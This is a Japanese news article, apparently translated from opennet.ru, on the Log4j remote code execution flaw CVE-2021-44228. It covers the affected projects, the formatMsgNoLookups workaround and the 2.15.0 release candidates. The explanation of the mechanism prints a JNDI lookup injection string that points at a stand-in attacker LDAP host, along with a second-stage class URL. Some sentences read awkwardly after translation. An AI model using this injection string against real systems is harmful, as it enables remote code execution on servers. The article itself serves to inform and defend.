Apache Log4j の致命的な脆弱性が多くの Java プロジェクトに影響

Java アプリケーションのログを整理するための一般的なフレームワークである Apache Log4j に、「{jndi:URL}」形式の特別にフォーマットされた値がログに書き込まれるときに任意のコードが実行される可能性がある重大な脆弱性が確認されました。 この攻撃は、エラー メッセージに問題のある値を表示する場合など、外部ソースから受信した値をログに記録する Java アプリケーションに対して実行される可能性があります。

Steam、Apple iCloud、Minecraft クライアントおよびサーバーを含む、Apache Struts、Apache Solr、Apache Druid、または Apache Flink などのフレームワークを使用するほぼすべてのプロジェクトがこの問題の影響を受けることに注意してください。 この脆弱性は、企業アプリケーションに対する大規模な攻撃の波につながる可能性があり、Apache Struts フレームワークにおける重大な脆弱性の歴史を繰り返す可能性があります。Apache Struts フレームワークは、大まかな推定によれば、フォーチュン社の 65% が Web アプリケーションで使用しています。 100 社。ネットワークをスキャンして脆弱なシステムを探す試みを含む。

問題は、実用的なエクスプロイトがすでに公開されているにもかかわらず、安定版ブランチの修正がまだコンパイルされていないという事実によってさらに悪化します。 CVE 識別子はまだ割り当てられていません。 この修正は、log4j-2.15.0-rc1 テスト ブランチにのみ含まれています。 脆弱性をブロックするための回避策として、log4j2.formatMsgNoLookups パラメーターを true に設定することをお勧めします。

この問題は、log4j がログに出力される行で特殊なマスク「{}」の処理をサポートしており、JNDI (Java Naming and Directory Interface) クエリが実行される可能性があることが原因で発生しました。 この攻撃は要約すると、「${jndi:ldap://攻撃者.com/a}」という置換を含む文字列を渡し、その処理時に log4j が Java クラスへのパスの LDAP 要求を攻撃者.com サーバーに送信します。 。 攻撃者のサーバーから返されたパス (http://セカンドステージ.攻撃者.com/Exploit.class など) は、現在のプロセスのコンテキストで読み込まれて実行されます。これにより、攻撃者はサーバー上で任意のコードを実行できます。現在のアプリケーションの権利を持つシステム。

補遺 1: この脆弱性には、CVE-2021-44228 という識別子が割り当てられています。

補遺 2: リリース log4j-2.15.0-rc1 で追加された保護をバイパスする方法が特定されました。 この脆弱性に対するより完全な保護を備えた新しいアップデート log4j-2.15.0-rc2 が提案されています。 このコードは、正しくない形式の JNDI URL を使用した場合に異常終了が発生しないことに関連する変更を強調表示しています。

出所: オープンネット.ru

コメントを追加します